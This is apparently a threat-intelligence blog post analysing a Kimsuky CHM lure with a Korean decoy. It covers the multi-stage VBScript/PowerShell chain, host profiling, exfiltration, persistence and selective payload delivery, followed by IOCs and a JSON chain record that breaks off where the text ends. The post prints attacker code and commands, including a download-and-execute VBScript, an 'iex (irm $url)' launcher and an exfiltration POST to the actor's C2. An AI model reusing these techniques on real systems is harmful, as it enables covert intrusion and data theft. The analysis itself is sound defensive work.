Inside Kimsuky’s CHM Tradecraft: Multi-Stage Execution and Selective Payload Delivery

by Robin Dost


Actor tracking: APT43 (Kimsuky) / MB-0010

I can’t sleep right now, because it’s too hot in Germany, so i thought why not finishing an analysis i almost forgot about.
In this analysis i am using Malwarebox Tooling for most of my work.

Everything started with a suspicious CHM sample arriving in MANTIS.
SHA256: 0efbd18c77479b458078521c18bdad84852b71250122a17cb8105c10d3df38d4

Infection overview

The observed chain can be summarized as follows:

Review.chm
  |_ HTML Help ActiveX shortcut
      |_ powershell.exe -WindowStyle Hidden
          |- writes Base64 data to Link.dat
          |- certutil.exe decodes Link.dat → Link.ini
          |_ wscript.exe executes Link.ini as VBScript
              |_ GET bootservice.php?tag=<random>&query=1
                  |- profiles the host
                  |- enumerates processes and directories
                  |- POSTs the results to finalservice.php
                  |_ creates the hidden “Edge Updater” task
                      |_ wscript.exe executes OfficeUpdater_*.ini
                          |_ GET bootservice.php?tag=<random>&query=6
                              |_ cmd.exe
                                  |_ powershell.exe
                                      |_ GET checkservice.php?idx=5&tag=<random>
                                          |- Invoke-Expression(response)
                                          |_ LogAction -ur <C2 base URL>

No executable needs to be written to disk during this chain. The actor instead relies almost entirely on built-in Windows interpreters and COM objects.

A Korean-language decoy

At its core, a CHM file is a container of HTML, CSS, image, JavaScript/VBScript and control files.
Malware often uses it to launch additional processes via hh.exe, HTML Help ActiveX or embedded scripts.


We unpack the container with

7z x Review.chm

Let’s view the content of page_1.html

The CHM displays what appears to be editorial feedback on a Korean document discussing the right to food and the causes of the North Korean food crisis

The visible text comments on the structure of a manuscript, including sections covering:

  • diversion of civilian resources to military spending
  • degradation of agricultural production
  • inequality in food distribution
  • food culture and nutrition
  • references to the International Covenant on Economic, Social and Cultural Rights
  • references to provisions of the North Korean constitution

The document closes by addressing a researcher directly and thanking him for his work.

The decoy is written for a Korean-speaking audience familiar with legal, policy or human-rights material concerning North Korea.
That context may indicate the intended target profile, although the lure alone is not sufficient to identify the actual recipient.

The page title is:

목차를 매길 때

Roughly translated, it refers to arranging or numbering a table of contents.

While the victim reads the decoy, a hidden script constructs an HTML Help shortcut object.

Execution through HTML Help

The malicious HTML creates an object with the following class identifier:

CLSID:52a2aaae-085d-4187-97ea-8c30db990436

It configures the object with the ShortCut command and triggers it programmatically:

document.getElementById('start').innerHTML =
    '<object id="shortcut1" ' +
    'classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436">' +
    '<param name="Command" value="ShortCut">' +
    '<param name="Item1" value="...">' +
    '</object>';

shortcut1.Click();

The command is “”obfuscated”” through string concatenation:

',power' + 'shell'
'-window' + 'style hid' + 'den'

Once reconstructed, it launches PowerShell with a hidden window.

The PowerShell command writes an embedded Base64 blob to:

%USERPROFILE%\Links\Link.dat

It then uses the legitimate Windows certificate utility to decode it:

certutil.exe -f -decode Link.dat Link.ini

Finally, it forces wscript.exe to interpret the resulting .ini file as VBScript:

wscript.exe //b //e:vbscript Link.ini

The .ini extension is therefore camouflage rather than an indication of the files actual format.

The initial VBScript downloader

The decoded VBScript is small:

The script generates a random value between 1 and 10.000 and places it in the tag parameter.
It sends a GET-request to the URL http://acnms.dmdoc.dynv6[.]net/smltm/bootservice.php.
The server response is then passed directly to VBScripts Execute function:

Execute(mx.responseText)

Nothing is validated and the response is not required to be stored as a conventional script file. The server therefore controls the next stage at execution time.

Let’s look at the C2 information

Domain: acnms.dmdoc.dynv6.net
IP: 118.194.249.91

The domain is hosted by a free DynDNS hosting service called “dynv6.com.”
The IP address is provided by ucloud.

When you visit the site, you’ll see the familiar Kimsuky welcome message.

Capturing the reconnaissance stage

During sandbox analysis, the following request returned a 6.338-byte VBScript payload:

GET /smltm/bootservice.php?tag=<random>&query=1

The server advertised the following stack:

Apache/2.4.58 (Win64)
OpenSSL/3.1.3
PHP/8.2.12

Server headers can be changed or spoofed, but the observed response indicates that the C2 was serving the PHP endpoints through an Apache installation on Windows.

The SHA-256 hash of the captured query=1 response was:

21781885f9d6ebc5f9e0f828aacbe3db2aaa1c142bda1495b17e723c9912f826

The returned script performs three primary actions:

System and environment discovery

Persistence through a scheduled task

Exfiltration of the collected inventory

System profiling

The BaseInfo function queries several WMI classes:

Win32_ComputerSystem
Win32_OperatingSystem
Win32_Processor

It collects:

Computer name
Registered owner
Manufacturer
Computer model
System type
Operating system caption
OS version
Build number
Visible memory
Processor description
Current processor clock speed

The resulting report begins with:

++++++++++++ Basic System ++++++++++++

This provides enough information for the operator to identify the system, estimate its age and capabilities, distinguish physical and virtual hardware and determine which follow-on payloads are likely to be compatible.

File and directory discovery

The misleadingly named DownloadDir function enumerates several Windows shell namespaces:

idx = Array(0, 5, 6, 8, 38, 42)

It also explicitly examines the Downloads folder through namespace 40.

The resulting collection covers locations corresponding to:

Desktop
Documents
Favorites
Recent items
Program Files
Program Files (x86)
Downloads

For each location, the malware records direct child directories and filenames.
It does not recursively collect file contents at this stage.

This is still valuable reconnaissance.
Filenames alone can reveal employers, projects, research topics, installed applications, document types and potentially high-value material for later collection.

The output is placed under:

++++++++++++ Specific Folder ++++++++++++

Process discovery

The script performs the following WMI query:

SELECT * FROM Win32_Process

For every running process it records:

Process name
Process ID
Session ID

The report labels this section:

++++++++++++ Process List ++++++++++++

Process enumeration gives the operator visibility into security products, browsers, VPN software, analysis tools and active user applications.

The payload also contains a function named VacQuery, which queries:

root\SecurityCenter2
AntiVirusProduct

It can retrieve antivirus product names, reporting paths, GUIDs and product-state values.

However, the function is not called in the captured version.
The final report is built only from:

raw_d = BaseInfo() & DownloadDir() & ProcList()

VacQuery() may be dead code, a feature used by another variant or an implementation oversight.

Encoding and exfiltration

Before transmission, the collected text is converted to UTF-8 through ADODB.Stream and Base64-encoded with an MSXML DOM element using the bin.base64 data type.

The encoded inventory is then uploaded as a file named:

Info.txt

The destination is:

hxxp://acnms[.]dmdoc[.]dynv6[.]net/smltm/finalservice.php

The request is a multipart form submission with a fixed boundary:

----c2xkanZvaXU4OTA

Its structure is approximately:

POST /smltm/finalservice.php HTTP/1.1
Host: acnms[.]dmdoc[.]dynv6[.]net
Content-Type: multipart/form-data; boundary=----c2xkanZvaXU4OTA

------c2xkanZvaXU4OTA
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000000
------c2xkanZvaXU4OTA
Content-Disposition: form-data; name="file"; filename="Info.txt"
Content-Type: text/plain

<BASE64-ENCODED SYSTEM INVENTORY>
------c2xkanZvaXU4OTA--

The server returned:

HTTP/1.1 200 OK
Content-Length: 0

A body is not required for the malware to continue.

Establishing persistence

The reconnaissance stage writes another VBScript into shell namespace 32, corresponding to the users Internet cache.

The filename follows this format:

OfficeUpdater_<minute>_<hour>_<day><month>.ini

An example could look like:

OfficeUpdater_7_11_226.ini

Once again, the .ini extension is deceptive.
The file is executable VBScript.

The script then creates a scheduled task named:

Edge Updater

Its properties include:

Author: System
Hidden: True
Enabled: True
StartWhenAvailable: True
Initial trigger: five minutes after creation
Repetition interval: PT60M

PT60M causes the action to repeat every 60 minutes.

The action launches:

wscript.exe //b //e:vbscript <OfficeUpdater path>

The /b flag suppresses alerts and prompts, while /e:vbscript forces the script engine regardless of the .ini extension.

One implementation detail may reduce reliability: the script path is not surrounded by quotes. A path containing spaces could therefore cause execution problems depending on the resolved cache location.

Browser-related registry changes

The script also changes three values under the current user hive:

HKCU\Software\Microsoft\Internet Explorer\Main
    Check_Associations = "no"
    DisableFirstRunCustomize = 1

HKCU\Software\Microsoft\Edge\IEToEdge
    RedirectionMode = 0

These settings suppress parts of Internet Explorers first-run and association behavior and disable IE-to-Edge redirection.

The exact operational reason is not visible in the captured stages. The changes may be intended to reduce prompts, preserve legacy browser behavior or support a later component that depends on Internet Explorer-related functionality.

The persistent loader

Each time the scheduled task runs, the OfficeUpdater script sleeps for a random period between 6,000 and 12,000 milliseconds.

The same delay value is used as the request tag:

randomWait = Int((12000 - 6000 + 1) * Rnd + 6000)

WScript.Sleep randomWait

mx.open "GET", _
    "hxxp://acnms[.]dmdoc[.]dynv6[.]net/smltm/" & _
    "bootservice.php?tag=" & randomWait & "&query=6", _
    False

The returned text is once again passed directly to Execute.

During analysis, query=6 returned a 428 byte VBScript payload.

Its SHA-256 hash is:

962e7a2a0b6ea9926f2198db06aa1d67326a75de7168400f8863fe7a23e51ef8

Pivoting from VBScript to PowerShell

The query=6 response contains a helper that launches commands through WScript.Shell:

Sub ProcessCall(p_cmd)
    Dim WshShell
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run p_cmd, 0, False
End Sub

The second argument to Run is zero, hiding the process window.
The third argument is False, meaning the script does not wait for the command to finish.

The constructed command is:

$base_url = 'hxxp://acnms[.]dmdoc[.]dynv6[.]net/smltm'

$rnd_num = [System.Random]::new().Next(1,10001)

$url = [Uri]::UnescapeDataString(
    $base_url + '/checkservice.php?idx=5%26tag=' + $rnd_num
)

iex (irm $url)

LogAction -ur $base_url

The %26 sequence is decoded to &, producing the actual request:

GET /smltm/checkservice.php?idx=5&tag=<random>

The aliases resolve to:

irm -> Invoke-RestMethod
iex -> Invoke-Expression

The server response is therefore executed directly inside the PowerShell process.

The subsequent call:

LogAction -ur $base_url

is significant because LogAction is not a built-in PowerShell function.

The expected response from checkservice.php must define LogAction, after which the launcher calls it with the C2 base URL.
The final component is therefore likely structured as a remotely loaded PowerShell module or function body.

Selective payload delivery

The reconstructed request sequence was replayed during analysis.

The observed responses were:

bootservice.php?query=1
HTTP 200
6,338 bytes

finalservice.php
HTTP 200
0 bytes

bootservice.php?query=6
HTTP 200
428 bytes

checkservice.php?idx=5
HTTP 200
0 bytes

The final endpoint did not return an error, redirect or unavailable status. It returned a valid response with:

HTTP/1.1 200 OK
Content-Length: 0

No Set-Cookie header was observed during the captured sequence.

This matters because the individual stages use different clients:

Microsoft.XMLHTTP under wscript.exe
Microsoft.XMLHTTP under wscript.exe
Invoke-RestMethod under powershell.exe

A browser-style cookie session would not automatically carry across those execution contexts.
If the server tracks victims, it is more likely to use properties such as:

  • source IP address
  • request timing
  • previously uploaded inventory
  • HTTP client or User-Agent
  • tag values
  • campaign state
  • allowlists or denylists
  • geographic or network origin
  • manual operator approval

The current evidence does not identify which condition was responsible.

Additional country-routed sandboxing requests did not recover the expected PowerShell payload (more details on this below).
One route returned a non-empty HTML page containing a generic client-side password-validation example.
It did not define LogAction and was not the expected malicious stage.

That result is not sufficient to claim geographic gating.
It could represent unrelated content, proxy interference, virtual-host behavior or a defensive response.

The defensible conclusion is narrower: checkservice.php implements or was operating as, a selectively responding endpoint.
The reconnaissance and loader stages remained publicly retrievable, while the final operational payload was withheld from the analyzed environment.

Why split the chain this way?

The design creates several advantages for the operator.

First, only a small bootstrap is embedded in the CHM. The actor can replace later stages without rebuilding or redistributing the original lure.

Second, the reconnaissance stage gives the server information about the compromised machine before the final payload is delivered.

Third, the operator can expose low-value scripts to automated analysis while protecting the final capability. Sandboxes may retrieve the system profiler and scheduled-task loader but receive an empty response at the last step.

Finally, direct use of Execute and Invoke-Expression minimizes the number of obvious payload files left on disk.

The separation is therefore operationally meaningful:

query=1 -> qualify and profile the victim
finalservice.php -> receive the host inventory
query=6 -> launch the PowerShell handoff
checkservice.php -> selectively deliver the final capability

A few days after the first analysis

A few days after my initial analysis, I ran the sample through my MANTIS sandbox again and came across a few strange things.

During my first analysis, everything went smoothly, I didn’t need to use any proxy networks or similar tools to perform a successful sandboxing.
However, when I tested it again, some requests were only partially successful.
So I thought, why not just run the sandbox again, but this time try using different proxies?

Out of over 130 different country-specific proxies, only one of my proxy networks produced a result, namely, my default data center fallback proxy, which I had forgotten to remove from the selection.

I’ve confirmed this behavior multiple times and still have no explanation as to why only this one IP was allowed through.

Now for the strange result:

The page returned a password validation form to me.

No idea what this is all about, maybe just a little trolling ^^
But: I was absolutely sure I’d seen this shape before and I remembered where it’s from.
Namely, from this tutorial: https://www.w3schools.com/HOWTO/tryit.asp?filename=tryhow_js_password_val

By the way, there’s something else interesting about the whole site, namely, the sites light green “N” favicon:

I’ve seen this before in other Kimsuky operations, some of which were quite a while ago.
The SHA256 hash of the favicon is 26ba5b01f614a215b948a5700338575412dcff2df972b7696b2c8c3f3b74a723

What I find a bit strange:
WHOIS queries show that Kimsukys current infrastructure is primarily hosted on ucloud, but the favicon matches the one used by the hosting provider navercloudcorp.com.

The good thing about this is that we can use this and Kimsukys welcome message to continue tracking Kimsukys infrastructure:


Within 5 minutes, I found 3 more web servers that very likely belong to Kimsuky and are therefore currently active in their campaign:

IPDomain
51.79.185.184aointerviews.com
176.111.220.168
152.32.138.15

IIM Chain

Here’s the related IIM Chain for this attack
You can view it in the IIM Workbench if you want to inspect it further

Click to View Chain
{
  "iim_version": "1.1",
  "chain_id": "synapticsystems.2026.kimsuky-review-chm-selective-delivery",
  "title": "Kimsuky Review.chm to staged VBScript reconnaissance and selective PowerShell payload delivery",
  "description": "Original malware-analysis chain for a Korean-language Review.chm lure. The CHM uses HTML Help shortcut execution to create and run a VBScript bootstrap, retrieves a query=1 reconnaissance and persistence stage from a DynV6-hosted PHP endpoint, uploads Base64-encoded host inventory to finalservice.php, installs an hourly OfficeUpdater_*.ini loader through the hidden Edge Updater scheduled task and retrieves a query=6 VBScript handoff. That handoff launches hidden PowerShell, requests checkservice.php?idx=5, executes the response in memory and expects it to define LogAction. During controlled replay, checkservice.php returned HTTP 200 with a zero-byte body, so the final PowerShell payload remained withheld.",
  "actor_id": "APT43",
  "observed_at": "2026-06-22T09:56:08Z",
  "confidence": "confirmed",
  "needs_review": true,
  "import_source": "manual-malware-analysis-and-controlled-c2-replay-to-iim",
  "x_attribution": {
    "actor": "Kimsuky",
    "aliases": [
      "APT43",
      "Emerald Sleet",
      "Velvet Chollima"
    ],
    "confidence": "likely",
    "basis": "The chain is treated as Kimsuky-linked in the accompanying Synaptic Systems research. The IIM object preserves that attribution as an external analytical judgement rather than using infrastructure structure alone as attribution evidence.",
    "caveat": "Add the campaign-specific code, sample, infrastructure or provenance overlap used for attribution before publishing the chain as confirmed attribution."
  },
  "x_source": {
    "title": "Inside Kimsuky’s CHM Tradecraft: Multi-Stage Execution and Selective Payload Delivery",
    "publisher": "Synaptic Systems",
    "source_type": "original malware analysis and controlled C2 replay",
    "analysis_date": "2026-06-27",
    "capture_date": "2026-06-22"
  },
  "x_capture": {
    "server_banner": "Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12",
    "requests": [
      {
        "stage": "query1",
        "timestamp": "2026-06-22T09:56:08Z",
        "request": "GET /smltm/bootservice.php?tag=<1-10000>&query=1",
        "status": 200,
        "content_length": 6338,
        "content_type": "text/plain; charset=UTF-8",
        "sha256": "21781885f9d6ebc5f9e0f828aacbe3db2aaa1c142bda1495b17e723c9912f826"
      },
      {
        "stage": "inventory_exfiltration",
        "timestamp": "2026-06-22T09:56:11Z",
        "request": "POST /smltm/finalservice.php",
        "status": 200,
        "content_length": 0,
        "content_type": "text/html; charset=UTF-8"
      },
      {
        "stage": "query6",
        "timestamp": "2026-06-22T09:56:17Z",
        "request": "GET /smltm/bootservice.php?tag=<6000-12000>&query=6",
        "status": 200,
        "content_length": 428,
        "content_type": "text/plain; charset=UTF-8",
        "sha256": "962e7a2a0b6ea9926f2198db06aa1d67326a75de7168400f8863fe7a23e51ef8"
      },
      {
        "stage": "selective_final_delivery",
        "timestamp": "2026-06-22T09:56:26Z",
        "request": "GET /smltm/checkservice.php?idx=5&tag=<1-10000>",
        "status": 200,
        "content_length": 0,
        "content_type": "text/html; charset=UTF-8",
        "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
      }
    ]
  },
  "x_iocs": {
    "domain": [
      "acnms.dmdoc.dynv6.net"
    ],
    "urls": [
      "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<1-10000>&query=1",
      "http://acnms.dmdoc.dynv6.net/smltm/finalservice.php",
      "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<6000-12000>&query=6",
      "http://acnms.dmdoc.dynv6.net/smltm/checkservice.php?idx=5&tag=<1-10000>"
    ],
    "files": [
      "Review.chm",
      "%USERPROFILE%\\Links\\Link.dat",
      "%USERPROFILE%\\Links\\Link.ini",
      "OfficeUpdater_<minute>_<hour>_<day><month>.ini",
      "Info.txt"
    ],
    "scheduled_tasks": [
      "Edge Updater"
    ],
    "multipart": {
      "filename": "Info.txt",
      "boundary": "----c2xkanZvaXU4OTA",
      "max_file_size": "1000000"
    },
    "registry": [
      "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Check_Associations",
      "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\DisableFirstRunCustomize",
      "HKCU\\Software\\Microsoft\\Edge\\IEToEdge\\RedirectionMode"
    ]
  },
  "x_limitations": [
    "The SHA-256 hash of the original Review.chm sample was not available in the supplied material.",
    "The final checkservice.php response was empty during controlled replay; the expected LogAction implementation is modeled as a placeholder and not as an observed payload.",
    "IIM-T017 is assigned with likely confidence because the terminal endpoint selectively returned no payload after the reconstructed sequence. The exact server-side gate was not identified.",
    "IIM-T019, IIM-T020, IIM-T021 and IIM-T022 are not asserted because geofencing, client filtering, request fingerprinting and time-window gating were considered but not demonstrated.",
    "No DNS-resolution or hosting-IP entity is included because the supplied evidence did not establish a stable address suitable for this observation."
  ],
  "entities": [
    {
      "id": "e001",
      "type": "file",
      "value": "Review.chm",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Synaptic Systems malware analysis",
      "evidence": [
        "Korean-language compiled HTML Help lure containing a hidden HTML Help shortcut object.",
        "The embedded command launches hidden PowerShell, writes Link.dat, decodes Link.ini with certutil and executes Link.ini as VBScript."
      ],
      "x_chain_stage": "chm_entry",
      "x_format": "MS Windows HtmlHelp Data",
      "x_decoy_topic": "Editorial feedback concerning North Korean food-crisis and right-to-food material"
    },
    {
      "id": "e002",
      "type": "file",
      "value": "%USERPROFILE%\\Links\\Link.ini",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Decoded Review.chm content",
      "evidence": [
        "Created by certutil.exe -f -decode from the embedded Base64 Link.dat content.",
        "Executed with wscript.exe //b //e:vbscript despite the .ini extension.",
        "Requests bootservice.php with query=1 and executes mx.responseText."
      ],
      "x_chain_stage": "initial_vbscript_bootstrap",
      "x_disguised_extension": true
    },
    {
      "id": "e003",
      "type": "url",
      "value": "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<1-10000>&query=1",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Controlled C2 replay",
      "evidence": [
        "The Link.ini bootstrap generates a random integer from 1 through 10000 and performs a synchronous Microsoft.XMLHTTP GET.",
        "The endpoint returned HTTP 200 and a 6338-byte VBScript response."
      ],
      "x_chain_stage": "reconnaissance_stage_delivery",
      "x_http_status": 200,
      "x_content_length": 6338
    },
    {
      "id": "e004",
      "type": "hash",
      "value": "21781885f9d6ebc5f9e0f828aacbe3db2aaa1c142bda1495b17e723c9912f826",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Captured query=1 response",
      "evidence": [
        "SHA-256 of the 6338-byte VBScript returned by bootservice.php?query=1.",
        "The script profiles Win32_ComputerSystem, Win32_OperatingSystem, Win32_Processor, selected directories and Win32_Process.",
        "It creates OfficeUpdater_*.ini, registers the hidden hourly Edge Updater task, modifies IE/Edge-related registry values and uploads Base64 inventory."
      ],
      "x_chain_stage": "reconnaissance_persistence_exfiltration_payload",
      "x_artifact_name": "bootservice-query1.vbs",
      "x_size": 6338
    },
    {
      "id": "e005",
      "type": "url",
      "value": "http://acnms.dmdoc.dynv6.net/smltm/finalservice.php",
      "observed_at": "2026-06-22T09:56:11Z",
      "source": "Controlled C2 replay and query=1 script",
      "evidence": [
        "Receives a multipart/form-data POST containing Base64-encoded host inventory as Info.txt.",
        "The request uses the fixed boundary ----c2xkanZvaXU4OTA.",
        "The replayed endpoint returned HTTP 200 with Content-Length 0."
      ],
      "x_chain_stage": "inventory_exfiltration_c2",
      "x_http_status": 200,
      "x_content_length": 0
    },
    {
      "id": "e006",
      "type": "file",
      "value": "OfficeUpdater_<minute>_<hour>_<day><month>.ini",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Captured query=1 response",
      "evidence": [
        "Written to Shell.Application namespace 32 and registered under the hidden scheduled task Edge Updater.",
        "Executed by wscript.exe //b //e:vbscript five minutes after registration and then at PT60M intervals.",
        "Sleeps for 6000 through 12000 milliseconds before requesting bootservice.php?query=6."
      ],
      "x_chain_stage": "persistent_vbscript_loader",
      "x_scheduled_task": "Edge Updater",
      "x_repetition_interval": "PT60M",
      "x_disguised_extension": true
    },
    {
      "id": "e007",
      "type": "url",
      "value": "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<6000-12000>&query=6",
      "observed_at": "2026-06-22T09:56:17Z",
      "source": "Controlled C2 replay",
      "evidence": [
        "The persistent OfficeUpdater loader reuses its 6000-through-12000 millisecond sleep value as the tag parameter.",
        "The endpoint returned HTTP 200 and a 428-byte VBScript response."
      ],
      "x_chain_stage": "powershell_handoff_delivery",
      "x_http_status": 200,
      "x_content_length": 428
    },
    {
      "id": "e008",
      "type": "hash",
      "value": "962e7a2a0b6ea9926f2198db06aa1d67326a75de7168400f8863fe7a23e51ef8",
      "observed_at": "2026-06-22T09:56:17Z",
      "source": "Captured query=6 response",
      "evidence": [
        "SHA-256 of the 428-byte VBScript returned by bootservice.php?query=6.",
        "The script launches cmd.exe and hidden PowerShell through WScript.Shell.Run.",
        "PowerShell requests checkservice.php?idx=5, invokes the response with iex and then calls LogAction -ur with the C2 base URL."
      ],
      "x_chain_stage": "vbscript_to_powershell_handoff",
      "x_artifact_name": "bootservice-query6.vbs",
      "x_size": 428
    },
    {
      "id": "e009",
      "type": "url",
      "value": "http://acnms.dmdoc.dynv6.net/smltm/checkservice.php?idx=5&tag=<1-10000>",
      "observed_at": "2026-06-22T09:56:26Z",
      "source": "Controlled C2 replay and captured query=6 response",
      "evidence": [
        "The query=6 stage decodes %26 to an ampersand, producing idx=5&tag=<random>.",
        "The response is expected to be executed by Invoke-Expression and to define a LogAction function.",
        "During replay the endpoint returned HTTP 200 with Content-Length 0 and no final PowerShell body."
      ],
      "x_chain_stage": "selective_final_payload_endpoint",
      "x_http_status": 200,
      "x_content_length": 0,
      "x_empty_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    },
    {
      "id": "e010",
      "type": "file",
      "value": "<withheld PowerShell payload defining LogAction>",
      "source": "Inferred from captured query=6 launcher",
      "evidence": [
        "The launcher executes the checkservice.php response in the current PowerShell context and immediately invokes LogAction -ur $base_url.",
        "No implementation was returned to the analyzed environment."
      ],
      "x_chain_stage": "unobserved_final_payload",
      "x_placeholder": true,
      "x_observation_status": "expected-but-withheld"
    }
  ],
  "chain": [
    {
      "entity_id": "e001",
      "role": "entry",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "User-facing CHM lure and initial execution point. CHM execution is represented in ATT&CK rather than as an IIM infrastructure technique."
    },
    {
      "entity_id": "e002",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Local bootstrap artifact that transports execution from the CHM to the first remote stage."
    },
    {
      "entity_id": "e003",
      "role": "staging",
      "techniques": [
        "IIM-T008"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Remote script-delivery endpoint hosted below the DynV6 dynamic-DNS namespace."
    },
    {
      "entity_id": "e004",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Operational reconnaissance, persistence and exfiltration payload."
    },
    {
      "entity_id": "e005",
      "role": "c2",
      "techniques": [
        "IIM-T008"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Host-inventory collection endpoint on the same DynV6-backed infrastructure."
    },
    {
      "entity_id": "e006",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Persistent local loader that periodically resumes the remote delivery chain."
    },
    {
      "entity_id": "e007",
      "role": "staging",
      "techniques": [
        "IIM-T008"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Second remote script-delivery endpoint hosted below the DynV6 dynamic-DNS namespace."
    },
    {
      "entity_id": "e008",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "VBScript handoff that transitions execution into PowerShell and references the final endpoint."
    },
    {
      "entity_id": "e009",
      "role": "c2",
      "techniques": [
        "IIM-T008",
        "IIM-T017"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": true,
      "review_notes": "The endpoint is confirmed as the expected final code-delivery/C2 location. IIM-T017 is likely rather than confirmed because replay produced HTTP 200 with an empty body, but the exact gating decision was not identified.",
      "x_candidate_techniques_not_asserted": [
        "IIM-T019",
        "IIM-T020",
        "IIM-T021",
        "IIM-T022"
      ]
    },
    {
      "entity_id": "e010",
      "role": "payload",
      "techniques": [],
      "role_confidence": "likely",
      "technique_confidence": "tentative",
      "needs_review": true,
      "review_notes": "Placeholder required to preserve the launcher’s observed expectation. The payload body and its capabilities were not recovered."
    }
  ],
  "relations": [
    {
      "from": "e001",
      "to": "e002",
      "type": "drops",
      "sequence_order": 1,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The CHM-launched PowerShell writes Base64 data, decodes it to Link.ini and leaves the VBScript artifact on disk."
      ]
    },
    {
      "from": "e001",
      "to": "e002",
      "type": "execute",
      "sequence_order": 2,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The CHM command executes Link.ini through wscript.exe //b //e:vbscript."
      ]
    },
    {
      "from": "e002",
      "to": "e003",
      "type": "connect",
      "sequence_order": 3,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Link.ini performs a synchronous Microsoft.XMLHTTP GET to bootservice.php?query=1."
      ]
    },
    {
      "from": "e003",
      "to": "e004",
      "type": "download",
      "sequence_order": 4,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The endpoint returned the captured 6338-byte VBScript and the bootstrap executed responseText."
      ]
    },
    {
      "from": "e004",
      "to": "e006",
      "type": "drops",
      "sequence_order": 5,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The query=1 payload writes OfficeUpdater_*.ini to shell namespace 32."
      ]
    },
    {
      "from": "e004",
      "to": "e005",
      "type": "communicates-with",
      "sequence_order": 6,
      "observed_at": "2026-06-22T09:56:11Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The query=1 payload uploads the Base64 inventory as Info.txt to finalservice.php."
      ]
    },
    {
      "from": "e004",
      "to": "e006",
      "type": "execute",
      "sequence_order": 7,
      "confidence": "confirmed",
      "x_evidence": [
        "The query=1 payload registers OfficeUpdater_*.ini as the action of the hidden Edge Updater scheduled task."
      ]
    },
    {
      "from": "e006",
      "to": "e007",
      "type": "connect",
      "sequence_order": 8,
      "observed_at": "2026-06-22T09:56:17Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The persistent loader requests bootservice.php?query=6 after its random sleep."
      ]
    },
    {
      "from": "e007",
      "to": "e008",
      "type": "download",
      "sequence_order": 9,
      "observed_at": "2026-06-22T09:56:17Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The endpoint returned the captured 428-byte VBScript response."
      ]
    },
    {
      "from": "e006",
      "to": "e008",
      "type": "execute",
      "sequence_order": 10,
      "observed_at": "2026-06-22T09:56:17Z",
      "confidence": "confirmed",
      "x_evidence": [
        "OfficeUpdater invokes Execute(mx.responseText) on the query=6 response."
      ]
    },
    {
      "from": "e008",
      "to": "e009",
      "type": "connect",
      "sequence_order": 11,
      "observed_at": "2026-06-22T09:56:26Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The query=6 response launches PowerShell, which uses Invoke-RestMethod to request checkservice.php?idx=5."
      ]
    },
    {
      "from": "e009",
      "to": "e010",
      "type": "download",
      "sequence_order": 12,
      "observed_at": "2026-06-22T09:56:26Z",
      "confidence": "tentative",
      "x_evidence": [
        "The launcher expects executable PowerShell defining LogAction, but the replayed response body was empty."
      ]
    }
  ],
  "attack_annotations": [
    {
      "technique_id": "T1218.001",
      "name": "System Binary Proxy Execution: Compiled HTML File",
      "tactic": "Defense Evasion",
      "comment": "Review.chm uses Windows HTML Help shortcut execution to launch the bootstrap."
    },
    {
      "technique_id": "T1059.005",
      "name": "Command and Scripting Interpreter: Visual Basic",
      "tactic": "Execution",
      "comment": "The bootstrap, reconnaissance stage, persistent loader and PowerShell handoff are VBScript."
    },
    {
      "technique_id": "T1059.001",
      "name": "Command and Scripting Interpreter: PowerShell",
      "tactic": "Execution",
      "comment": "Hidden PowerShell decodes the bootstrap and later retrieves and executes the expected final stage."
    },
    {
      "technique_id": "T1140",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "comment": "certutil decodes embedded Base64 into Link.ini; later stages also use Base64 for collected data."
    },
    {
      "technique_id": "T1105",
      "name": "Ingress Tool Transfer",
      "tactic": "Command and Control",
      "comment": "VBScript and PowerShell retrieve additional code from bootservice.php and checkservice.php."
    },
    {
      "technique_id": "T1082",
      "name": "System Information Discovery",
      "tactic": "Discovery",
